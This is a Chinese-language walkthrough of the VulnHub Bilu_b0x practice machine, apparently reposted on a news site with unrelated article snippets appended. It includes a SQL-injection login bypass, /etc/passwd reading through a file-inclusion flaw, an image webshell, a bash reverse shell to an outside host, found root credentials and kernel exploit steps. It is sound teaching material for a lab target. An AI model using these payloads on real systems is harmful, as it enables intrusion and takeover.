VulnHub-Bilu_b0x靶机笔记

news/2024/9/23 20:27:38/

Bilu_b0x 靶机

概述

Vulnhub 的一个靶机,包含了 sql 注入,文件包含,代码审计,内核提权。整体也是比较简单的内容,和大家一起学习

Billu_b0x.zip 靶机地址:

https://pan.baidu.com/s/1VWazR7tpm2xJZIGUSzFvDw?pwd = u785

提取码: u785

一、nmap 扫描

1)主机发现

sudo nmap -sn 192.168.84.0/24

-sn 参数在 root 权限下会发送 icmp 、 arp、SYN 扫描包,而在普通用户权限下只会发送 icmp 扫描包

Nmap scan report for 192.168.84.129
Host is up (0.00045s latency).
MAC Address: 00:0C:29:41:BD:2B (VMware)

看到 192.168.84.129 为新增加 ip

2)端口扫描

nmap -sT --min-rate 10000 -p- -o ports 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00043s latency).PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 facfa252c4faf575a7e2bd60833e7bde (DSA)
|   2048 88310c789880ef33fa2622edd09bbaf8 (RSA)
|_  256 0e5e330350c91eb3e75139a44a1064ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: --==[[IndiShell Lab]]==--
|_http-server-header: Apache/2.2.22 (Ubuntu)
MAC Address: 00:0C:29:41:BD:2B (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep 18 15:32:28 2024 -- 1 IP address (1 host up) scanned in 6.64 seconds

3)默认脚本扫描

nmap --script=vuln -p22,80 -o vuln 192.168.84.129
Nmap scan report for 192.168.84.129
Host is up (0.00036s latency).PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:41:BD:2B (VMware)# Nmap done at Wed Sep 18 15:33:45 2024 -- 1 IP address (1 host up) scanned in 30.92 seconds

二、web 渗透

打开 80 端口

image-20240918194947354

看到它让我展示 sqli skill 这肯定是存在 sql 注入漏洞了。

尝试了比较简单的注入,发现并没有什么用。也查看了源码等信息。

1)目录爆破

sudo gobuster dir -u http://192.168.84.129 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
==============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.84.129
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 3267]
/images               (Status: 301) [Size: 317] [--> http://192.168.84.129/images/]
/c                    (Status: 200) [Size: 1]
/show                 (Status: 200) [Size: 1]
/add                  (Status: 200) [Size: 307]
/test                 (Status: 200) [Size: 72]
/in                   (Status: 200) [Size: 47526]
/head                 (Status: 200) [Size: 2793]
/uploaded_images      (Status: 301) [Size: 326] [--> http://192.168.84.129/uploaded_images/]
/panel                (Status: 302) [Size: 2469] [--> index.php]
/head2                (Status: 200) [Size: 2468]
/server-status        (Status: 403) [Size: 295]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

全部打开看看

a) add 页面

image-20240918200206032

尝试上传正常的文件,但没什么反应

b) in

phpinfo()的页面,暴露了一些敏感的信息,需要的话可以回来看

在这里插入图片描述

c) test 页面

image-20240918200339629

他说我们缺少一个 file 参数,看到 file 参数,肯定会想要测试文件包含导致的任意文件读取。

给他拼接参数

192.168.84.129/test?file=./index.php

image-20240918200834768

看来不是 GET 参数,尝试 POST 请求。

curl -X POST -d "file=/etc/passwd" http://192.168.84.129/test

image-20240918204711178

看到有结果返回,说明存在文件的任意读取漏洞,这里看一下 /etc/shadow,没有访问权限

2)代码审计

a)index 审计

index.php 页面看到它的挑衅,我们看看源码,给它注入进去(白盒还想难到我__

curl -X POST -d "file=./index.php" http://192.168.84.129/test
<?php
session_start();include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{$_SESSION['logged']='';}if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{echo "you are logged in :)";header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";$_SESSION['logged']=true;$_SESSION['admin']=$row['username'];header('Location: panel.php', true, 302);}
else
{echo "<script>alert('Try again');</script>";
}}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";?>

在 30-33 行看到处理登陆的逻辑

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);

看到语句的过滤只对单引号 进行了过滤,构造语句

当输入正常的 pass=1234uname=zhang 时,最终的 sql 语句会成为这个样子

select * from auth where pass='1234' and uname='zhang';

开始构造

pass=1234 \uname= zhang

此时 sql 语句会变成

select * from auth where pass='1234 \' and uname='zhang';

看到 pass 的值变为了 1234 \' and uname= , uname 参数的字符串逃逸了出来,变成了可执行的 sql 语句

最终 payload

pass=1234 \uname= or 1=1 --+

select * from auth where pass='1234 \' and uname='or 1=1 -- ';

image-20240919120202341

为了方便大家观看,我把前段的 password 属性改为了 text

看到登陆成功

image-20240919120319909

默认跳转了 panel.php

b)panel 审计

默认跳转到了 panel.php 页面,而这个页面上也有一些我们感兴趣的功能。

看到它有一个添加用户的接口,可以允许我们上传文件

image-20240919120607623

点击上传,我们当时目录爆破时看到了一个 uploaded_images 目录,这个目录我们有理由猜测他就是文件上传的目录

查看一下

image-20240919121219049

看到了我们上传的 test.jpg 文件

查看 panel.php 源码

它有上传的功能,我们能看到它的源码,肯定要去看一下它的上传逻辑的过滤情况,审计一下会不会出一些对我们有用的漏洞

curl -X POST -d "file=./panel.php" http://192.168.84.129/test -o panel.php
<?php
session_start();include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{header('Location: index.php', true, 302);exit();}
echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{unset($_SESSION['logged']);unset($_SESSION['admin']);header('Location: index.php', true, 302);
}
echo '<hr><br>';echo '<form method=post><select name=load><option value="show">Show Users</option><option value="add">Add User</option>
</select> &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{$dir=getcwd();$choice=str_replace('./','',$_POST['load']);if($choice==='add'){include($dir.'/'.$choice.'.php');die();}if($choice==='show'){include($dir.'/'.$choice.'.php');die();}else{include($dir.'/'.$_POST['load']);}}if(isset($_POST['upload']))
{$name=mysqli_real_escape_string($conn,$_POST['name']);$address=mysqli_real_escape_string($conn,$_POST['address']);$id=mysqli_real_escape_string($conn,$_POST['id']);if(!empty($_FILES['image']['name'])){$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);$image=array('jpeg','jpg','gif','png');if(in_array($r,$image)){$finfo = @new finfo(FILEINFO_MIME); $filetype = @$finfo->file($_FILES['image']['tmp_name']);if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype )){if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name'])){echo "Uploaded successfully ";$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; mysqli_query($conn, $update);}}else{echo "<br>i told you dear, only png,jpg and gif file are allowed";}}else{echo "<br>only png,jpg and gif file are allowed";}
}
}
?>

看到代码在包含 load 参数的文件时,在 load != add && load != show 时会自动去 include 其他参数的文件

在这里插入图片描述

而在上传的逻辑中,它采用了白名单的方式,我们并不好绕过,可以尝试上传图片马结合文件包含的方式 getshell

三、获得立足点

image-20240919131412183

构造图片马

wget http://192.168.84.129/uploaded_images/jack.jpg    
vim jack.jpg

image-20240919141241552

我们上传上去尝试获得立足点

改个名字吧

mv jack.jpg lingx5.jpg

image-20240919133507583

上传成功

在这里插入图片描述

打开 burpsuite 捕获一下这个请求,点击 continue 捕获

image-20240919134138766

看到

image-20240919134200250

我们发送到 repeater 模块重放测试,更改 load 参数的值,GET 参数对特殊字符做 url 编码

POST /panel.php?cmd=ip+a  HTTP/1.1

在这里插入图片描述

看到 ip a 命令被正常执行,尝试反弹 shell

bash -c "bash -i >& /dev/tcp/192.168.84.128/4444 0>&1"

url 编码

POST /panel.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/192.168.84.128/4444+0>%261" 

image-20240919141836206

获得了立足点

四、提权

1)信息收集提权

image-20240919142147381

看到我们没有目录爆破出来的目录 phpmy,进去看一看

image-20240919165945608

看到 config 配置文件,我们的兴趣肯定是最大的,进去查看

在 config 文件中看到数据库的用户和密码

image-20240919170926613

我们有理由怀疑数据库的密码和机器用户的密码是一个

尝试碰撞一下 ssh

凭据 root:roottoor

sudo ssh root@192.168.84.129 

看到命令提示符为 root

image-20240919174147620

2)利用内核提权

内核提权不建议用,因为有太多的不确定因素,很容易导致系统崩溃。

www-data 用户下,用命令 uname -a 查看系统的版本信息

image-20240919174700992

看到内核版本为 linux 3.13.0

在漏洞库中搜索内核的公开漏洞

searchsploit kernel 3.13.0

image-20240919175025271

看到了两个符合版本的提权漏洞,下载下来

searchsploit kernel 3.13.0 -m 37292
searchsploit kernel 3.13.0 -m 37293

上传到靶机,到 /tmp 目录下,这个目录是所有用户都有写权限的

image-20240919181203171

查看 37292.c 的内容,里面的注释会教我们怎么利用

image-20240919181535335

跟着操作

image-20240919181712742

成功提权到 root

这里的提权我本来还想尝试 udf 提权的,但是它的 phpmyadmin 的后台我登录不进去。应该是机器在 mysql 的配置文件做了一些安全配置,这里没办法登陆,所以就没有进行

总结

  • 我们首先对机器进行了 nmap 的基本扫描,在扫描的信息中发现 22,80 端口是暴露的,我们首先对 web 页面进行渗透测试。
  • web 首页他就告诉我们存在 sql 注入,但是我们不知道过滤规则。进行了目录爆破,在爆破出来的文件目录中发现了 test 文件有一个 file 参数,指定文件和路径可以查看源码信息。
  • 对 index.php 页面进行代码审计,成功利用 sql 注入,登陆进入系统。对 panel 进行代码审计,发现了一个文件包含漏洞,通过上传图片马与文件包含的结合利用成功获得系统立足点
  • 提权操作
    • 通过对 phpmy 目录信息的查看,我们发现了 mysql 数据库的用户名和密码信息,进行 ssh 撞库提权到了 root
    • 通过对内核漏洞 CVE-2015-1328 的利用成功提权到 root

http://www.ppmy.cn/news/1529477.html

相关文章

7.Jmeter数据驱动(csv数据文件设置)+Jmeter数据库操作

一、Jmeter数据驱动 因为&#xff1a;工作中&#xff0c;有些公司一个接口就是一个吻用例&#xff0c;另外一些公司一个接口有几十个用例&#xff0c;就需要用到数据驱动。 特别注意&#xff1a;断言&#xff0c;如果有共同字段&#xff0c;那么就用json断言&#xff0c;如果没…

Git提交类型

说明&#xff1a;Git提交类型指的是代码commit时&#xff0c;写在comment前面的标志&#xff0c;表示此次commit的提交类型&#xff0c;如下&#xff1a; Git提交类型 常见的Git提交类型有&#xff1a; feat&#xff1a;新特性、新功能或优化&#xff1b; fix&#xff1a;修复…

SpringBoot开发——整合Apache POI轻松生成精美的Excel报表

文章目录 1、准备工作2、编写代码2.1 创建实体类2.2 创建Excel生成服务2.3 创建控制器 3、测试4、结论 在许多企业应用程序中&#xff0c;导出数据到Excel表格是一项常见的需求。Spring Boot提供了许多库来简化这个过程&#xff0c;其中包括Apache POI和Spring Boot的相关模块。…

惊!国产便宜猫罐头也有精品!鲜朗、希喂、顽皮测评

好多进口猫罐头二十多一罐&#xff0c;家里两个超能吃的十斤四岁布偶&#xff0c;每月至少得买100多罐&#xff0c;我直呼“钱包告急”&#xff0c;难以承担。只好把目光投向国内的主食罐。这一年里&#xff0c;我试了挺多国产品牌&#xff0c;一开始看着不到十元的价格&#x…

循环中用sleep

echo <pre>;for ($i0;$i<10000000;$i){var_dump($i);} 没有用sleep,快速消耗cpu和内存 使用sleep后效果 echo <pre>;for ($i0;$i<10000000;$i){var_dump($i);usleep(1000);//php 暂停0.001秒} 总结&#xff1a;sleep能释放资源(cpu和内存)&#xff0c;但是运…

为什么git有些commit记录,只有git reflog可以看到,git log看不到?

文章目录 原因分析1. git log 只能显示 **可达的** 提交2. git reflog 记录所有引用的变更 常见导致 git log 看不到提交的原因1. git reset 操作2. git rebase 操作3. 分支删除4. git commit --amend5. 垃圾回收&#xff08;GC&#xff09;* 如何恢复 git log 看不到的提交&am…

OJ在线评测系统 登录页面开发 前端后端联调实现全栈开发

前端 登录页面就是一个让用户输入账号和密码的表单 使用acro组件 先写布局 <a-form-item field"userAccount" label"账号"><a-input v-model"form.userAccount" placeholder"请输入账号" /></a-form-item><a-…

STM32 通过软件模拟 I2C 驱动 24Cxx 系列存储器

目录 一、AT24CXXX 系列存储器介绍1、基本信息2、寻址方式3、页地址与页内单元地址4、I2C 地址5、AT24CXX 的数据读写5.1 写操作5.1.1 按字节写5.1.2 按页写 5.2 读操作5.2.1 当前地址读取5.2.2 随机地址读取5.2.3 顺序读取 二、代码实现1、ctl_i2c2、at24c3、测试程序 I2C 相关…